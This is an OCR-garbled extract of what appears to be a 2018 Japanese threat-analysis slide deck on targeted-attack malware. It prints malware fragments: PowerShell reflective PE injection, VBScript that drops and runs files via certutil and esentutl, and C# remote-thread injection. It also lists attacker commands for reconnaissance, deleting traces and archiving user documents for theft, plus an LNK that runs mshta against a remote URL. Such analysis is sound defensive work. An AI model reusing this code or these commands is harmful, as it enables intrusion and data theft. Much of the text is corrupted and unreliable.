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[(Bvte[]]%$PEBytes = [System.Convert]::FromBase645tring($PEBytes)

for (%31 = @; %i -1t $PEBytes.Count; %$i++)

SPEBvtes[$i]=%PEBvytes[$i] -bXOR @x17

¥

#[Bvte[]1]$PEBytes = [System.I0.File]: :ReadAllBytes{{Resolve-Path $PEPath))

#3}

#Werify the image is a walid PE file
fe_magic — ($PEBytes[@..1] | % {[Char] %$_3}) -join "°

if ($e_magic -ne "MZ'D)

£
2

throw "PE is not a walid PE file."”
SPEBytes[®] = @
SPEBytes[1] — @

Invoke-Command -ScriptBlock $RemoteScriptBlock -Argumentlist @($PEBytes, $Func,

Invoke-ReflectivePEInjection -PEBwytes "WkZHFxQXFxcTFxcX60gXFEEXFxcXFxcXVxcXPFxcXFxcy
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- TdMAndN YT AT X N T |

“cmd.exe sc certutil -decode "

AllUsersProfile & "“\NizhniNovgorod.txt"
AllUsersProfile & "“AtokLib.txt"
AllUusersProfile & "“NizhniMNowvgorod. jar"”
Set objws = CreoteQObject("Wscript.Shell")
.Run moveCmd, @, True
.Run certuCmd & AllUsersProfile & "NizhniNovgorodl,txt " & dstStr@l, @, True
.Run certuCmd & AllUsersProfile & "NizhniNowvgorodZ.txt " & dstStrez, @, True

.Run certuCmd & AllUsersProfile & "NizhniNowvgorod3.txt " & dstStr@3, @, True

.Run "esentutl.exe /y " & dstStr@l & " /d " & AllUsersProfile & "NizhniNovgorod.exe" & " /0", @, True

.Run "esentutl.exe Sy " & dst5tr@Z & " sd " & AllUsersProfile & "AtokLib.dll1"” & " fo", @, True

.Run AlluUsersProfile & "NizhniNowvgorod" & ".e" & "xe", @, False

.Run "cmd.exe /c del /s /q " & AllUsersProfile & "*.txt", @, False
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> dir

> powershell "Get-WmiObject -Namespace 'root\SecurityCenter2' -Query 'SELECT * FROM AntiVirusProduct' | select-object
displayName,pathToSignedReportingExe timestamp| fl"

> C:\Users\[REDACITED]\Desktop

> tasklist /v

> net start

> dir C:\Users\

>wmic LOGICALDISK get name Description filesystem,size freespace

> more

> del c\programdata\* /f /q

> systeminfo

> dir

> wmic LOGICALDISK get name Description filesystem,size freespace | more
> more

>del* /f /q

>del* /f /s /q >nul Z>nul

> del /s /q CA\ProgramData\* txt

11 ANELS5.3.1 MUJd1 aA

5> 0 T AP ANER. 3.0 A" 0~ A" i4 MdnMAd ANEL 5.3.42ZA7"
"I ANEL5.3, C:Intkedbg$Y4 M~ s i C&CO M Jd4n1~  Intel USB3. vt
I ntel USB32 XxmMh ~ 1~ s >~ " TIntel USB3i WBScriMpt 4 i MNAYN A

i MicrosoftmstWNEM™Ma& . e |l ntel USBIA. xim(a ~ C# Mn1) MdN’
1iaA>""TC#H Mn1"" iBase®6I3IJdMn1N ~ ANELS5 X3 R
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({aFOkbZriNzz '- null)

{
STARTUPINFO N_pRnipdgnMPdKcKLaG STARTUPINFOQ);
PROCESS_INFORMATION N_pRnipdgnMPdKcKL PROCESS_INFORMATION
gkznzhyefhB = @ P10 | @ 4| - @ )

( CreateProcess("C:\\Windows\\System32\\dllhost.exe", "", IntPtr.Zero, IntPtr.Zero, false, gkznzhyefhB, IntH

{

IntPtr XEYynmjFXJD - VirtualAllocEx(N_pRnipdgnMPdKcKL .wTSWVtyPDmFTad, IntPtr.Zero, bFOkbZrWzz.Length, 0x10¢
(XEYyrmjFXID '- null) {
UIntPtr XEYynmjFXJDZuRMeNmy;

(WriteProcessMemory(N_pRnipdgnMPdKcKL . WTSWVtyPDmFTad, XEYynmjFXJD, WFOkbZriWzz], FOkbZriWzz.Length,
{
IntPtr qphTylsHNDt_u;

IntPtr 1ZrplkAIVziZu - CreateRemoteThread(N_pRnipdgnMPdKcKL .wTSWtyPDmFTad, IntPtr.Zero, @, XEYynm

(IZrpJkAIVziZu null)

12 I ntel USWBIZ.AX mMC#1n 1
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http://www[.]bbist[.]com/ SgOr1qg3g

N A AT ATy T T i 191 .1101[.]1180([1.]172:80

5.31 7. i5.3.20 07, AMMAAIIANANT s> 077 i1 A 0N 7O
R I I e B e e O L M
MAd1T S i T A NMAN1 P RAR ST AnMT T AT Tt T AT

"AnW jOoffioe 473 i MAMAYMAITA M1 T4 (jttd) T 49 v

) A B N S R VR I N |

~_ ANELS.3.20070O+=X
& DLLHOST.EXE -
=1 @ h -
=1 &
- CSCEXE
@
[ -]
. CMDEXE
® |

@ D.
CMD.EXE - - TASKKILL EXE
® " @
13 EDRAMANNTT 4 &AMV

2018 Macnica Networks Corp. All Rights Reserved. 14



> taskkill /pid 2884 /f

> tasklist /v

> net start

> systeminfo

> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"

> %Temp%\rarexe a -r -v500m %Temp%\%COMPUTERNAME%_.rar C:\Users\* -n*.doc* -n* ppt* -
n*xls* -n* jtd -n*.eml -n*.pst -hp"1enal5Sexy!" -oc -ed -agyyyymmdd

> wmic LOGICALDISK get name,Description,filesystem,size,freespace | more
> more
> del c\programdata\* /f /q

> del "%USERPROFILE%\AppData\Local\Microsoft\Windows\Temporary Internet Files\*"
"%temp\rarexe" "%temp%\pscp.exe" "% Temp%\%COMPUTERNAME%_*.rar" /f /s /q

14 A aAMA AT
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Dar k Ho\t %11 N A M~ n

2018 84 ’ " An4 7 A& I MA A business oriented s
North Korea N “7173 An4 "7 M1 74X T T 1T XY An AN A

M1 74 (dk)® MANN A http://www. <feflppt edv¥yengesniper _ o711/
M T 4T Ny T T T

Link information:
Creation time
Modification time
Access time
File size
Icon index
Show Window wvalue
Hot Key value
File attribute flags

Should be archived (FILE ATTRIBUTE_ARCHIVE)
Drive type : Fixed (23)
Drive serial number H
Volume label H
Local path : C:\Windows\system32\mshta.exe

Relative path : ..\..\..\..\Windows\System32\mshta.exe
Command line arguments -
http://www.geocities.jp/revengesniper 0711/spec.txt
Icon location : %SystemRoot%\System32\write.exe
15LnkMd1 " 4~ I nkparsermdMvdy™
3 AdY 7 spec.i%Xt ~ helpTtatvvascadNpt HTMMI 4" T heltpxt
Ty a ~ javast Wi mdows 0 ~ji32bi64bi’t °. . '
1M Jd4n1°1i M1 749 . db A~ T 27 DLMi1 T4 s > 71

MiT 4T M d4n1 K
32bihtpg: / / wwwedacf| edpp/ acefigureO072/ ace32. bmp
64bihttit p:/ kwedacf edpp/ acefigureO072/ ace3d32. bmp

s N\ . DLMi1 1 (3biKt)

C:UsercdJser Namep DaRaami Mgcr oPobt é&c@®mgj . db
(SHA283006853112b942327656e22bc074c06d5807b47df49bcb7e
C:UsercdJser Namep DaRaami Mgcr oPobtécBcrobi.db
(SHA28@07bd770a6c3b8cd42@Butb3 8fadPR2TcH®2801756f)lebbd798482:

s N\ . DLMi1 1 (64Kit)

C:UsercdJser Namep DaRaami Mgcr oPobt é&c@mgj . db
(SHA256a2e12d00f84b955aal187f8e010e29chb9ffelag96028cee?
C:UsercdJser Namep» DaRaami Mgcr o®PobtécBcrobi.db
(SHA29896bde527cc0061d67825¢c629024ea40f9bb99P9956a83ef
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Javascriipti gmgjdbMi ™ 147 i1 nProcServedr™ . 5 4AvMMAA" " AN T
|

16 I nProcServeRx ~4vMMAAYJdANAD
gmgjdbMi1 = 47 i A PC OAN"" N iscrobi4dmb . 40" aA " AnMnvH
NA1> " Tscrobdb.i DIl M M()d &~ ~~~TA47 4 &7 277 A9%x ~ |1
"o A% 6 & i AESTA 4T T T 14V ~ ST ST 276 AY g
T MANVT &7 T T T M4AV1 & i WaitForSingle®Dbjert ()

~

Qe

17scrodb.DI Il Main{) 2
R M4V 1 EA
#1 UseAgent: check 7ihttp://www. msn¥Vdom I
TNV ST 1d4i 30 ASleep()VNMTs T T3 7 b
“TTTNYMTe T Vi SetEvelmt (N MAVT &7 AT T
# 2 " MJdM1 oM i UuidCreat e Se)qweintyi alul D6 ~ -

# 3 UseAgenmyagent ~ i
http://c[.]statcounter[.]com/ 19¥59269/0/ 2
C:User<dUser NamepDaR@aami Mgcr o®WohtdoWwhemels. On

\N.,-I'-

svsmonstaladg s
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